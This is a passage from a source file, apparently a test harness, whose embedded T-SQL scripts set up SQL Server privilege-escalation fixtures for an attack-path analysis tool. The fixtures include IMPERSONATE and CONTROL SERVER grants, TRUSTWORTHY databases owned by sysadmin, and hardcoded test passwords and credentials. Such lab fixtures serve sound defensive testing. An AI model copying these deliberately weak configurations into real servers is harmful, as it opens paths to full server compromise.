ROLE [ControlTest_DbRole_CanControlAppRole]; +CREATE APPLICATION ROLE [ControlTest_AppRole_TargetOf_DbRole_CanControlAppRole] WITH PASSWORD = 'AppRoleP@ss123!'; +GRANT CONTROL ON APPLICATION ROLE::[ControlTest_AppRole_TargetOf_DbRole_CanControlAppRole] TO [ControlTest_DbRole_CanControlAppRole]; + +-- ApplicationRole with CONTROL on application role +CREATE APPLICATION ROLE [ControlTest_AppRole_CanControlAppRole] WITH PASSWORD = 'AppRoleP@ss123!'; +CREATE APPLICATION ROLE [ControlTest_AppRole_TargetOf_AppRole_CanControlAppRole] WITH PASSWORD = 'AppRoleP@ss123!'; +GRANT CONTROL ON APPLICATION ROLE::[ControlTest_AppRole_TargetOf_AppRole_CanControlAppRole] TO [ControlTest_AppRole_CanControlAppRole]; + +USE master; +GO + +PRINT 'MSSQL_Control test setup completed'; +`, + "ControlDB": ` +-- ===================================================== +-- SETUP FOR MSSQL_ControlDB EDGE TESTING +-- ===================================================== +USE master; +GO + +-- Create test database +CREATE DATABASE [EdgeTest_ControlDB]; +GO + +USE [EdgeTest_ControlDB]; +GO + +-- ===================================================== +-- DATABASE LEVEL: DatabaseUser/DatabaseRole/ApplicationRole -> Database +-- ===================================================== + +-- DatabaseUser with CONTROL permission on database +CREATE USER [ControlDBTest_User_HasControlOnDb] WITHOUT LOGIN; +GRANT CONTROL ON DATABASE::[EdgeTest_ControlDB] TO [ControlDBTest_User_HasControlOnDb]; +GO + +-- DatabaseRole with CONTROL permission on database +CREATE ROLE [ControlDBTest_DbRole_HasControlOnDb]; +GRANT CONTROL ON DATABASE::[EdgeTest_ControlDB] TO [ControlDBTest_DbRole_HasControlOnDb]; +GO + +-- ApplicationRole with CONTROL permission on database +CREATE APPLICATION ROLE [ControlDBTest_AppRole_HasControlOnDb] WITH PASSWORD = 'EdgeTestP@ss123!'; +GRANT CONTROL ON DATABASE::[EdgeTest_ControlDB] TO [ControlDBTest_AppRole_HasControlOnDb]; +GO + +USE master; +GO +`, + "ControlServer": ` +USE master; +GO + +-- ===================================================== +-- COMPLETE SETUP FOR MSSQL_ControlServer EDGE TESTING +-- ===================================================== +-- This creates all objects needed to test CONTROL SERVER permissions +-- Source node types: MSSQL_ServerLogin, MSSQL_ServerRole +-- Target node type: MSSQL_Server + +-- ===================================================== +-- OFFENSIVE: Login/ServerRole -> Server +-- ===================================================== + +-- Login with CONTROL SERVER permission +CREATE LOGIN [ControlServerTest_Login_HasControlServer] WITH PASSWORD = 'EdgeTestP@ss123!'; +GRANT CONTROL SERVER TO [ControlServerTest_Login_HasControlServer]; + +-- ServerRole with CONTROL SERVER permission +CREATE SERVER ROLE [ControlServerTest_ServerRole_HasControlServer]; +GRANT CONTROL SERVER TO [ControlServerTest_ServerRole_HasControlServer]; + +-- Note: sysadmin fixed role has CONTROL SERVER by default + +PRINT 'MSSQL_ControlServer test setup completed'; +`, + "ExecuteAs": ` +USE master; +GO + +-- ===================================================== +-- COMPLETE SETUP FOR MSSQL_ExecuteAs EDGE TESTING +-- ===================================================== +-- This creates all objects needed to test every source/target +-- combination for MSSQL_ExecuteAs edges (offensive, traversable) + +-- Create test database if it doesn't exist +IF NOT EXISTS (SELECT * FROM sys.databases WHERE name = 'EdgeTest_ExecuteAs') + CREATE DATABASE [EdgeTest_ExecuteAs]; +GO + +-- ===================================================== +-- SERVER LEVEL: Login/ServerRole -> Login +-- ===================================================== + +-- Login with IMPERSONATE permission on another login +CREATE LOGIN [ExecuteAsTest_Login_CanImpersonateLogin] WITH PASSWORD = 'EdgeTestP@ss123!'; +CREATE LOGIN [ExecuteAsTest_Login_TargetOf_Login_CanImpersonateLogin] WITH PASSWORD = 'EdgeTestP@ss123!'; +GRANT IMPERSONATE ON LOGIN::[ExecuteAsTest_Login_TargetOf_Login_CanImpersonateLogin] TO [ExecuteAsTest_Login_CanImpersonateLogin]; + +-- Login with CONTROL permission on another login +CREATE LOGIN [ExecuteAsTest_Login_CanControlLogin] WITH PASSWORD = 'EdgeTestP@ss123!'; +CREATE LOGIN [ExecuteAsTest_Login_TargetOf_Login_CanControlLogin] WITH PASSWORD = 'EdgeTestP@ss123!'; +GRANT CONTROL ON LOGIN::[ExecuteAsTest_Login_TargetOf_Login_CanControlLogin] TO [ExecuteAsTest_Login_CanControlLogin]; + +-- ServerRole with IMPERSONATE permission on login +CREATE SERVER ROLE [ExecuteAsTest_ServerRole_CanImpersonateLogin]; +CREATE LOGIN [ExecuteAsTest_Login_TargetOf_ServerRole_CanImpersonateLogin] WITH PASSWORD = 'EdgeTestP@ss123!'; +GRANT IMPERSONATE ON LOGIN::[ExecuteAsTest_Login_TargetOf_ServerRole_CanImpersonateLogin] TO [ExecuteAsTest_ServerRole_CanImpersonateLogin]; + +-- ServerRole with CONTROL permission on login +CREATE SERVER ROLE [ExecuteAsTest_ServerRole_CanControlLogin]; +CREATE LOGIN [ExecuteAsTest_Login_TargetOf_ServerRole_CanControlLogin] WITH PASSWORD = 'EdgeTestP@ss123!'; +GRANT CONTROL ON LOGIN::[ExecuteAsTest_Login_TargetOf_ServerRole_CanControlLogin] TO [ExecuteAsTest_ServerRole_CanControlLogin]; + +-- ===================================================== +-- DATABASE LEVEL SETUP +-- ===================================================== + +USE [EdgeTest_ExecuteAs]; +GO + +-- ===================================================== +-- DATABASE LEVEL: DatabaseUser -> DatabaseUser +-- ===================================================== + +-- DatabaseUser with IMPERSONATE permission on another database user +CREATE USER [ExecuteAsTest_User_CanImpersonateDbUser] WITHOUT LOGIN; +CREATE USER [ExecuteAsTest_User_TargetOf_User_CanImpersonateDbUser] WITHOUT LOGIN; +GRANT IMPERSONATE ON USER::[ExecuteAsTest_User_TargetOf_User_CanImpersonateDbUser] TO [ExecuteAsTest_User_CanImpersonateDbUser]; + +-- DatabaseUser with CONTROL permission on another database user +CREATE USER [ExecuteAsTest_User_CanControlDbUser] WITHOUT LOGIN; +CREATE USER [ExecuteAsTest_User_TargetOf_User_CanControlDbUser] WITHOUT LOGIN; +GRANT CONTROL ON USER::[ExecuteAsTest_User_TargetOf_User_CanControlDbUser] TO [ExecuteAsTest_User_CanControlDbUser]; + +-- ===================================================== +-- DATABASE LEVEL: DatabaseRole -> DatabaseUser +-- ===================================================== + +-- DatabaseRole with IMPERSONATE permission on database user +CREATE ROLE [ExecuteAsTest_DbRole_CanImpersonateDbUser]; +CREATE USER [ExecuteAsTest_User_TargetOf_DbRole_CanImpersonateDbUser] WITHOUT LOGIN; +GRANT IMPERSONATE ON USER::[ExecuteAsTest_User_TargetOf_DbRole_CanImpersonateDbUser] TO [ExecuteAsTest_DbRole_CanImpersonateDbUser]; + +-- DatabaseRole with CONTROL permission on database user +CREATE ROLE [ExecuteAsTest_DbRole_CanControlDbUser]; +CREATE USER [ExecuteAsTest_User_TargetOf_DbRole_CanControlDbUser] WITHOUT LOGIN; +GRANT CONTROL ON USER::[ExecuteAsTest_User_TargetOf_DbRole_CanControlDbUser] TO [ExecuteAsTest_DbRole_CanControlDbUser]; + +-- ===================================================== +-- DATABASE LEVEL: ApplicationRole -> DatabaseUser +-- ===================================================== + +-- ApplicationRole with IMPERSONATE permission on database user +CREATE APPLICATION ROLE [ExecuteAsTest_AppRole_CanImpersonateDbUser] WITH PASSWORD = 'AppRoleP@ss123!'; +CREATE USER [ExecuteAsTest_User_TargetOf_AppRole_CanImpersonateDbUser] WITHOUT LOGIN; +GRANT IMPERSONATE ON USER::[ExecuteAsTest_User_TargetOf_AppRole_CanImpersonateDbUser] TO [ExecuteAsTest_AppRole_CanImpersonateDbUser]; + +-- ApplicationRole with CONTROL permission on database user +CREATE APPLICATION ROLE [ExecuteAsTest_AppRole_CanControlDbUser] WITH PASSWORD = 'AppRoleP@ss123!'; +CREATE USER [ExecuteAsTest_User_TargetOf_AppRole_CanControlDbUser] WITHOUT LOGIN; +GRANT CONTROL ON USER::[ExecuteAsTest_User_TargetOf_AppRole_CanControlDbUser] TO [ExecuteAsTest_AppRole_CanControlDbUser]; + +USE master; +GO + +PRINT 'MSSQL_ExecuteAs test setup completed'; +`, + "ExecuteAsOwner": ` +USE master; +GO + +-- ===================================================== +-- COMPLETE SETUP FOR MSSQL_ExecuteAsOwner EDGE TESTING +-- ===================================================== +-- This creates all objects needed to test TRUSTWORTHY databases +-- with owners having various high privileges +-- Source node type: MSSQL_Database +-- Target node type: MSSQL_Server + +-- ===================================================== +-- Create logins with different privilege levels +-- ===================================================== + +-- Login with sysadmin role +CREATE LOGIN [ExecuteAsOwnerTest_Login_Sysadmin] WITH PASSWORD = 'EdgeTestP@ss123!'; +ALTER SERVER ROLE [sysadmin] ADD MEMBER [ExecuteAsOwnerTest_Login_Sysadmin]; + +-- Can't nest roles in sysadmin + +-- Login with securityadmin role +CREATE LOGIN [ExecuteAsOwnerTest_Login_Securityadmin] WITH PASSWORD = 'EdgeTestP@ss123!'; +ALTER SERVER ROLE [securityadmin] ADD MEMBER [ExecuteAsOwnerTest_Login_Securityadmin]; + +-- Role nested in securityadmin role +CREATE SERVER ROLE [ExecuteAsOwnerTest_ServerRole_NestedInSecurityadmin]; +ALTER SERVER ROLE [securityadmin] ADD MEMBER [ExecuteAsOwnerTest_ServerRole_NestedInSecurityadmin]; + +-- Login with role nested in securityadmin role +CREATE LOGIN [ExecuteAsOwnerTest_Login_NestedRoleInSecurityadmin] WITH PASSWORD = 'EdgeTestP@ss123!'; +ALTER SERVER ROLE [ExecuteAsOwnerTest_ServerRole_NestedInSecurityadmin] ADD MEMBER [ExecuteAsOwnerTest_Login_NestedRoleInSecurityadmin]; + +-- Login with CONTROL SERVER permission +CREATE LOGIN [ExecuteAsOwnerTest_Login_ControlServer] WITH PASSWORD = 'EdgeTestP@ss123!'; +GRANT CONTROL SERVER TO [ExecuteAsOwnerTest_Login_ControlServer]; + +-- Login with role with CONTROL SERVER permission +CREATE SERVER ROLE [ExecuteAsOwnerTest_ServerRole_HasControlServer]; +GRANT CONTROL SERVER TO [ExecuteAsOwnerTest_ServerRole_HasControlServer]; +CREATE LOGIN [ExecuteAsOwnerTest_Login_HasRoleWithControlServer] WITH PASSWORD = 'EdgeTestP@ss123!'; +ALTER SERVER ROLE [ExecuteAsOwnerTest_ServerRole_HasControlServer] ADD MEMBER [ExecuteAsOwnerTest_Login_HasRoleWithControlServer]; + +-- Login with IMPERSONATE ANY LOGIN permission +CREATE LOGIN [ExecuteAsOwnerTest_Login_ImpersonateAnyLogin] WITH PASSWORD = 'EdgeTestP@ss123!'; +GRANT IMPERSONATE ANY LOGIN TO [ExecuteAsOwnerTest_Login_ImpersonateAnyLogin]; + +-- Login with role with IMPERSONATE ANY LOGIN permission +CREATE SERVER ROLE [ExecuteAsOwnerTest_ServerRole_HasImpersonateAnyLogin]; +GRANT IMPERSONATE ANY LOGIN TO [ExecuteAsOwnerTest_ServerRole_HasImpersonateAnyLogin]; +CREATE LOGIN [ExecuteAsOwnerTest_Login_HasRoleWithImpersonateAnyLogin] WITH PASSWORD = 'EdgeTestP@ss123!'; +ALTER SERVER ROLE [ExecuteAsOwnerTest_ServerRole_HasImpersonateAnyLogin] ADD MEMBER [ExecuteAsOwnerTest_Login_HasRoleWithImpersonateAnyLogin]; + +-- Login without high privileges +CREATE LOGIN [ExecuteAsOwnerTest_Login_NoHighPrivileges] WITH PASSWORD = 'EdgeTestP@ss123!'; + +-- ===================================================== +-- Create TRUSTWORTHY databases with different owners +-- ===================================================== + +-- Database owned by login with sysadmin (should create edge) +CREATE DATABASE [EdgeTest_ExecuteAsOwner_OwnedByLoginWithSysadmin]; +ALTER AUTHORIZATION ON DATABASE::[EdgeTest_ExecuteAsOwner_OwnedByLoginWithSysadmin] TO [ExecuteAsOwnerTest_Login_Sysadmin]; +ALTER DATABASE [EdgeTest_ExecuteAsOwner_OwnedByLoginWithSysadmin] SET TRUSTWORTHY ON; + +-- Database owned by login with securityadmin (should create edge) +CREATE DATABASE [EdgeTest_ExecuteAsOwner_OwnedByLoginWithSecurityadmin]; +ALTER AUTHORIZATION ON DATABASE::[EdgeTest_ExecuteAsOwner_OwnedByLoginWithSecurityadmin] TO [ExecuteAsOwnerTest_Login_Securityadmin]; +ALTER DATABASE [EdgeTest_ExecuteAsOwner_OwnedByLoginWithSecurityadmin] SET TRUSTWORTHY ON; + +-- Database owned by login with role with securityadmin (should create edge) +CREATE DATABASE [EdgeTest_ExecuteAsOwner_OwnedByLoginWithNestedRoleInSecurityadmin]; +ALTER AUTHORIZATION ON DATABASE::[EdgeTest_ExecuteAsOwner_OwnedByLoginWithNestedRoleInSecurityadmin] TO [ExecuteAsOwnerTest_Login_NestedRoleInSecurityadmin]; +ALTER DATABASE [EdgeTest_ExecuteAsOwner_OwnedByLoginWithNestedRoleInSecurityadmin] SET TRUSTWORTHY ON; + +-- Database owned by login with CONTROL SERVER (should create edge) +CREATE DATABASE [EdgeTest_ExecuteAsOwner_OwnedByLoginWithControlServer]; +ALTER AUTHORIZATION ON DATABASE::[EdgeTest_ExecuteAsOwner_OwnedByLoginWithControlServer] TO [ExecuteAsOwnerTest_Login_ControlServer]; +ALTER DATABASE [EdgeTest_ExecuteAsOwner_OwnedByLoginWithControlServer] SET TRUSTWORTHY ON; + +-- Database owned by login with role with CONTROL SERVER (should create edge) +CREATE DATABASE [EdgeTest_ExecuteAsOwner_OwnedByLoginWithRoleWithControlServer]; +ALTER AUTHORIZATION ON DATABASE::[EdgeTest_ExecuteAsOwner_OwnedByLoginWithRoleWithControlServer] TO [ExecuteAsOwnerTest_Login_HasRoleWithControlServer]; +ALTER DATABASE [EdgeTest_ExecuteAsOwner_OwnedByLoginWithRoleWithControlServer] SET TRUSTWORTHY ON; + +-- Database owned by login with IMPERSONATE ANY LOGIN (should create edge) +CREATE DATABASE [EdgeTest_ExecuteAsOwner_OwnedByLoginWithImpersonateAnyLogin]; +ALTER AUTHORIZATION ON DATABASE::[EdgeTest_ExecuteAsOwner_OwnedByLoginWithImpersonateAnyLogin] TO [ExecuteAsOwnerTest_Login_ImpersonateAnyLogin]; +ALTER DATABASE [EdgeTest_ExecuteAsOwner_OwnedByLoginWithImpersonateAnyLogin] SET TRUSTWORTHY ON; + +-- Database owned by login with role with IMPERSONATE ANY LOGIN (should create edge) +CREATE DATABASE [EdgeTest_ExecuteAsOwner_OwnedByLoginWithRoleWithImpersonateAnyLogin]; +ALTER AUTHORIZATION ON DATABASE::[EdgeTest_ExecuteAsOwner_OwnedByLoginWithRoleWithImpersonateAnyLogin] TO [ExecuteAsOwnerTest_Login_HasRoleWithImpersonateAnyLogin]; +ALTER DATABASE [EdgeTest_ExecuteAsOwner_OwnedByLoginWithRoleWithImpersonateAnyLogin] SET TRUSTWORTHY ON; + +-- Database owned by login without high privileges (should NOT create edge) +CREATE DATABASE [EdgeTest_ExecuteAsOwner_OwnedByNoHighPrivileges]; +ALTER AUTHORIZATION ON DATABASE::[EdgeTest_ExecuteAsOwner_OwnedByNoHighPrivileges] TO [ExecuteAsOwnerTest_Login_NoHighPrivileges]; +ALTER DATABASE [EdgeTest_ExecuteAsOwner_OwnedByNoHighPrivileges] SET TRUSTWORTHY ON; + +-- Database with TRUSTWORTHY OFF owned by sysadmin (should NOT create edge) +CREATE DATABASE [EdgeTest_ExecuteAsOwner_NotTrustworthy]; +ALTER AUTHORIZATION ON DATABASE::[EdgeTest_ExecuteAsOwner_NotTrustworthy] TO [ExecuteAsOwnerTest_Login_Sysadmin]; +ALTER DATABASE [EdgeTest_ExecuteAsOwner_NotTrustworthy] SET TRUSTWORTHY OFF; + +PRINT 'MSSQL_ExecuteAsOwner test setup completed'; +`, + "GetTGS": ` +USE master; +GO + +-- ===================================================== +-- SETUP FOR MSSQL_GetTGS and MSSQL_GetAdminTGS EDGE TESTING +-- ===================================================== +-- These edges are created from SQL service accounts to domain principals +-- GetTGS: Service account -> Domain principals with SQL login +-- GetAdminTGS: Service account -> SQL Server (when domain principal has sysadmin) + +-- Note: The test assumes domain users were created during setup +-- Create Windows logins for domain users (if they don't exist) + +-- Domain user with regular SQL access +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = '$Domain\EdgeTestDomainUser1') + CREATE LOGIN [$Domain\EdgeTestDomainUser1] FROM WINDOWS; + +-- Domain user with sysadmin (triggers GetAdminTGS) +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = '$Domain\EdgeTestSysadmin') +BEGIN + CREATE LOGIN [$Domain\EdgeTestSysadmin] FROM WINDOWS; + ALTER SERVER ROLE [sysadmin] ADD MEMBER [$Domain\EdgeTestSysadmin]; +END + +-- Domain group with SQL access +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = '$Domain\EdgeTestDomainGroup') + CREATE LOGIN [$Domain\EdgeTestDomainGroup] FROM WINDOWS; + +-- Another domain user without sysadmin +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = '$Domain\EdgeTestDomainUser2') + CREATE LOGIN [$Domain\EdgeTestDomainUser2] FROM WINDOWS; + +-- Verify service account configuration +SELECT + servicename, + service_account, + CASE + WHEN service_account LIKE '%\%' AND service_account NOT LIKE 'NT SERVICE\%' + AND service_account NOT LIKE 'NT AUTHORITY\%' + THEN 'Domain Account' + ELSE 'Local/Built-in Account' + END as account_type +FROM sys.dm_server_services +WHERE servicename LIKE 'SQL Server%'; + +PRINT 'MSSQL_GetTGS and MSSQL_GetAdminTGS test setup completed'; +`, + "GrantAnyDBPermission": ` +-- ===================================================== +-- SETUP FOR MSSQL_GrantAnyDBPermission EDGE TESTING +-- ===================================================== +USE master; +GO + +-- Create test databases +CREATE DATABASE [EdgeTest_GrantAnyDBPermission]; +GO + +CREATE DATABASE [EdgeTest_GrantAnyDBPermission_Second]; +GO + +-- ===================================================== +-- DATABASE LEVEL: DatabaseRole -> Database +-- ===================================================== + +USE [EdgeTest_GrantAnyDBPermission]; +GO + +-- Create test users to be members of db_securityadmin +CREATE USER [GrantAnyDBPermissionTest_User_InDbSecurityAdmin] WITHOUT LOGIN; +ALTER ROLE db_securityadmin ADD MEMBER [GrantAnyDBPermissionTest_User_InDbSecurityAdmin]; + +-- Create another user not in db_securityadmin (negative test) +CREATE USER [GrantAnyDBPermissionTest_User_NotInDbSecurityAdmin] WITHOUT LOGIN; + +-- Create a custom role that has ALTER ANY ROLE permission (negative test - should not create edge) +CREATE ROLE [GrantAnyDBPermissionTest_CustomRole_HasAlterAnyRole]; +GRANT ALTER ANY ROLE TO [GrantAnyDBPermissionTest_CustomRole_HasAlterAnyRole]; + +-- Create test objects that db_securityadmin can control via permissions +CREATE ROLE [GrantAnyDBPermissionTest_TargetRole1]; +CREATE ROLE [GrantAnyDBPermissionTest_TargetRole2]; +CREATE USER [GrantAnyDBPermissionTest_TargetUser] WITHOUT LOGIN; + +USE [EdgeTest_GrantAnyDBPermission_Second]; +GO + +-- Create another db_securityadmin member in second database +CREATE USER [GrantAnyDBPermissionTest_User_InDbSecurityAdmin_DB2] WITHOUT LOGIN; +ALTER ROLE db_securityadmin ADD MEMBER [GrantAnyDBPermissionTest_User_InDbSecurityAdmin_DB2]; + +USE master; +GO + +PRINT 'MSSQL_GrantAnyDBPermission test setup completed'; +`, + "GrantAnyPermission": ` +-- ===================================================== +-- SETUP FOR MSSQL_GrantAnyPermission EDGE TESTING +-- ===================================================== +USE master; +GO + +-- The securityadmin fixed role exists by default, no setup needed + +-- Create test logins to demonstrate the power of securityadmin +CREATE LOGIN [GrantAnyPermissionTest_Login_Target1] WITH PASSWORD = 'EdgeTestP@ss123!'; +CREATE LOGIN [GrantAnyPermissionTest_Login_Target2] WITH PASSWORD = 'EdgeTestP@ss123!'; + +-- Create a login that is a member of securityadmin (for negative test) +CREATE LOGIN [GrantAnyPermissionTest_Login_InSecurityAdmin] WITH PASSWORD = 'EdgeTestP@ss123!'; +ALTER SERVER ROLE [securityadmin] ADD MEMBER [GrantAnyPermissionTest_Login_InSecurityAdmin]; + +-- Create a custom server role with ALTER ANY LOGIN (negative test - should not create edge) +CREATE SERVER ROLE [GrantAnyPermissionTest_CustomRole_HasAlterAnyLogin]; +GRANT ALTER ANY LOGIN TO [GrantAnyPermissionTest_CustomRole_HasAlterAnyLogin]; + +-- Create login without special permissions +CREATE LOGIN [GrantAnyPermissionTest_Login_NoSpecialPerms] WITH PASSWORD = 'EdgeTestP@ss123!'; + +-- Create database to verify edge is server-level only +CREATE DATABASE [EdgeTest_GrantAnyPermission]; +GO + +PRINT 'MSSQL_GrantAnyPermission test setup completed'; +`, + "HasDBScopedCred": ` +-- ===================================================== +-- SETUP FOR MSSQL_HasDBScopedCred EDGE TESTING +-- ===================================================== +USE master; +GO + +-- Create test databases +CREATE DATABASE [EdgeTest_HasDBScopedCred]; +GO + +-- ===================================================== +-- DATABASE LEVEL: Database -> Base (Domain Account) +-- ===================================================== + +USE [EdgeTest_HasDBScopedCred]; +GO + +-- Create database master key (required for database-scoped credentials) +CREATE MASTER KEY ENCRYPTION BY PASSWORD = 'MasterKeyP@ss123!'; +GO + +-- Note: Database-scoped credentials require SQL Server 2016 or later +-- Create database-scoped credentials for domain accounts +-- These credentials authenticate as domain users when accessing external resources + +-- Credential for domain user (will create edge if user exists) +IF EXISTS (SELECT * FROM sys.database_scoped_credentials WHERE name = 'HasDBScopedCredTest_DomainUser1') + DROP DATABASE SCOPED CREDENTIAL [HasDBScopedCredTest_DomainUser1]; +CREATE DATABASE SCOPED CREDENTIAL [HasDBScopedCredTest_DomainUser1] + WITH IDENTITY = 'MAYYHEM\EdgeTestDomainUser1', + SECRET = 'EdgeTestP@ss123!'; + +-- Non-domain credential (negative test - should not create edge) +IF EXISTS (SELECT * FROM sys.database_scoped_credentials WHERE name = 'HasDBScopedCredTest_NonDomain') + DROP DATABASE SCOPED CREDENTIAL [HasDBScopedCredTest_NonDomain]; +CREATE DATABASE SCOPED CREDENTIAL [HasDBScopedCredTest_NonDomain] + WITH IDENTITY = 'https://mystorageaccount.blob.core.windows.net/', + SECRET = 'SAS_TOKEN_HERE'; + +-- Local account credential (negative test - should not create edge) +IF EXISTS (SELECT * FROM sys.database_scoped_credentials WHERE name = 'HasDBScopedCredTest_LocalAccount') + DROP DATABASE SCOPED CREDENTIAL [HasDBScopedCredTest_LocalAccount]; +CREATE DATABASE SCOPED CREDENTIAL [HasDBScopedCredTest_LocalAccount] + WITH IDENTITY = 'LocalUser', + SECRET = 'LocalP@ss123!'; + +USE master; +GO + +PRINT 'MSSQL_HasDBScopedCred test setup completed'; +`, + "HasLogin": ` +-- ===================================================== +-- SETUP FOR MSSQL_HasLogin EDGE TESTING +-- ===================================================== +USE master; +GO + +-- Create domain logins with CONNECT SQL permission (enabled by default) +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'MAYYHEM\EdgeTestDomainUser1') + CREATE LOGIN [MAYYHEM\EdgeTestDomainUser1] FROM WINDOWS; + +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'MAYYHEM\EdgeTestDomainUser2') + CREATE LOGIN [MAYYHEM\EdgeTestDomainUser2] FROM WINDOWS; + +-- Create domain group login +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'MAYYHEM\EdgeTestDomainGroup') + CREATE LOGIN [MAYYHEM\EdgeTestDomainGroup] FROM WINDOWS; + +-- Create computer account login +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'MAYYHEM\TestComputer$') + CREATE LOGIN [MAYYHEM\TestComputer$] FROM WINDOWS; + +-- Create disabled domain login (negative test) +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'MAYYHEM\EdgeTestDisabledUser') + CREATE LOGIN [MAYYHEM\EdgeTestDisabledUser] FROM WINDOWS; +ALTER LOGIN [MAYYHEM\EdgeTestDisabledUser] DISABLE; + +-- Create domain login with CONNECT SQL denied (negative test) +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'MAYYHEM\EdgeTestNoConnect') + CREATE LOGIN [MAYYHEM\EdgeTestNoConnect] FROM WINDOWS; +DENY CONNECT SQL TO [MAYYHEM\EdgeTestNoConnect]; + +-- Create local group and add it as login +-- Note: This requires the group to exist on the SQL Server host +-- The test framework should handle creation of BUILTIN groups +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'BUILTIN\Remote Desktop Users') + CREATE LOGIN [BUILTIN\Remote Desktop Users] FROM WINDOWS; + +-- Create SQL login (negative test - not a domain account) +CREATE LOGIN [HasLoginTest_SQLLogin] WITH PASSWORD = 'EdgeTestP@ss123!'; + +PRINT 'MSSQL_HasLogin test setup completed'; +`, + "HasMappedCred": ` +-- ===================================================== +-- SETUP FOR MSSQL_HasMappedCred EDGE TESTING +-- ===================================================== +USE master; +GO + +-- Dynamic domain handling +DECLARE @Domain NVARCHAR(128) = '$Domain'; +DECLARE @sql NVARCHAR(MAX); +DECLARE @identity NVARCHAR(256); + +-- Create server-level credentials for domain accounts +-- Note: CREATE CREDENTIAL requires CONTROL SERVER or ALTER ANY CREDENTIAL permission + +-- Credential for domain user 1 +SET @identity = @Domain + '\EdgeTestDomainUser1'; +SET @sql = 'IF EXISTS (SELECT * FROM sys.credentials WHERE name = ''HasMappedCredTest_DomainUser1'') + DROP CREDENTIAL [HasMappedCredTest_DomainUser1]'; +EXEC sp_executesql @sql; + +SET @sql = 'CREATE CREDENTIAL [HasMappedCredTest_DomainUser1] + WITH IDENTITY = ''' + @identity + ''', + SECRET = ''EdgeTestP@ss123!'''; +EXEC sp_executesql @sql; + +-- Credential for domain user 2 +SET @identity = @Domain + '\EdgeTestDomainUser2'; +SET @sql = 'IF EXISTS (SELECT * FROM sys.credentials WHERE name = ''HasMappedCredTest_DomainUser2'') + DROP CREDENTIAL [HasMappedCredTest_DomainUser2]'; +EXEC sp_executesql @sql; + +SET @sql = 'CREATE CREDENTIAL [HasMappedCredTest_DomainUser2] + WITH IDENTITY = ''' + @identity + ''', + SECRET = ''EdgeTestP@ss123!'''; +EXEC sp_executesql @sql; + +-- Credential for computer account +SET @identity = @Domain + '\TestComputer$'; +SET @sql = 'IF EXISTS (SELECT * FROM sys.credentials WHERE name = ''HasMappedCredTest_ComputerAccount'') + DROP CREDENTIAL [HasMappedCredTest_ComputerAccount]'; +EXEC sp_executesql @sql; + +SET @sql = 'CREATE CREDENTIAL [HasMappedCredTest_ComputerAccount] + WITH IDENTITY = ''' + @identity + ''', + SECRET = ''ComputerP@ss123!'''; +EXEC sp_executesql @sql; + +-- Non-domain credential for Azure storage (negative test) +IF EXISTS (SELECT * FROM sys.credentials WHERE name = 'HasMappedCredTest_AzureStorage') + DROP CREDENTIAL [HasMappedCredTest_AzureStorage]; +CREATE CREDENTIAL [HasMappedCredTest_AzureStorage] + WITH IDENTITY = 'https://mystorageaccount.blob.core.windows.net/', + SECRET = 'SAS_TOKEN_HERE'; + +-- Local account credential (negative test) +IF EXISTS (SELECT * FROM sys.credentials WHERE name = 'HasMappedCredTest_LocalAdmin') + DROP CREDENTIAL [HasMappedCredTest_LocalAdmin]; +CREATE CREDENTIAL [HasMappedCredTest_LocalAdmin] + WITH IDENTITY = 'LocalAdmin', + SECRET = 'LocalP@ss123!'; + +-- ===================================================== +-- Create SQL logins that map to these credentials +-- ===================================================== + +-- SQL login mapped to DomainUser1 +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'HasMappedCredTest_SQLLogin_MappedToDomainUser1') + CREATE LOGIN [HasMappedCredTest_SQLLogin_MappedToDomainUser1] WITH PASSWORD = 'EdgeTestP@ss123!'; +ALTER LOGIN [HasMappedCredTest_SQLLogin_MappedToDomainUser1] WITH CREDENTIAL = [HasMappedCredTest_DomainUser1]; + +-- SQL login mapped to DomainUser2 +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'HasMappedCredTest_SQLLogin_MappedToDomainUser2') + CREATE LOGIN [HasMappedCredTest_SQLLogin_MappedToDomainUser2] WITH PASSWORD = 'EdgeTestP@ss123!'; +ALTER LOGIN [HasMappedCredTest_SQLLogin_MappedToDomainUser2] WITH CREDENTIAL = [HasMappedCredTest_DomainUser2]; + +-- SQL login mapped to computer account +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'HasMappedCredTest_SQLLogin_MappedToComputerAccount') + CREATE LOGIN [HasMappedCredTest_SQLLogin_MappedToComputerAccount] WITH PASSWORD = 'EdgeTestP@ss123!'; +ALTER LOGIN [HasMappedCredTest_SQLLogin_MappedToComputerAccount] WITH CREDENTIAL = [HasMappedCredTest_ComputerAccount]; + +-- SQL login without mapped credential (negative test) +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'HasMappedCredTest_SQLLogin_NoCredential') + CREATE LOGIN [HasMappedCredTest_SQLLogin_NoCredential] WITH PASSWORD = 'EdgeTestP@ss123!'; + +-- ===================================================== +-- Create Windows login and map credential to it +-- ===================================================== + +-- Create Windows login if it doesn't exist +SET @sql = 'IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = ''' + @Domain + '\EdgeTestDomainUser1'') +BEGIN + CREATE LOGIN [' + @Domain + '\EdgeTestDomainUser1] FROM WINDOWS + PRINT ''Created Windows login: ' + @Domain + '\EdgeTestDomainUser1'' +END'; +EXEC sp_executesql @sql; + +-- Map credential to the Windows login (user1 login gets user2 credential) +SET @sql = 'ALTER LOGIN [' + @Domain + '\EdgeTestDomainUser1] WITH CREDENTIAL = [HasMappedCredTest_DomainUser2]'; +EXEC sp_executesql @sql; +PRINT 'Mapped credential HasMappedCredTest_DomainUser2 to Windows login ' + @Domain + '\EdgeTestDomainUser1'; + +-- ===================================================== +-- Verify credential mappings +-- ===================================================== +PRINT ''; +PRINT 'Credential mappings created:'; +SELECT + sp.name AS LoginName, + sp.type_desc AS 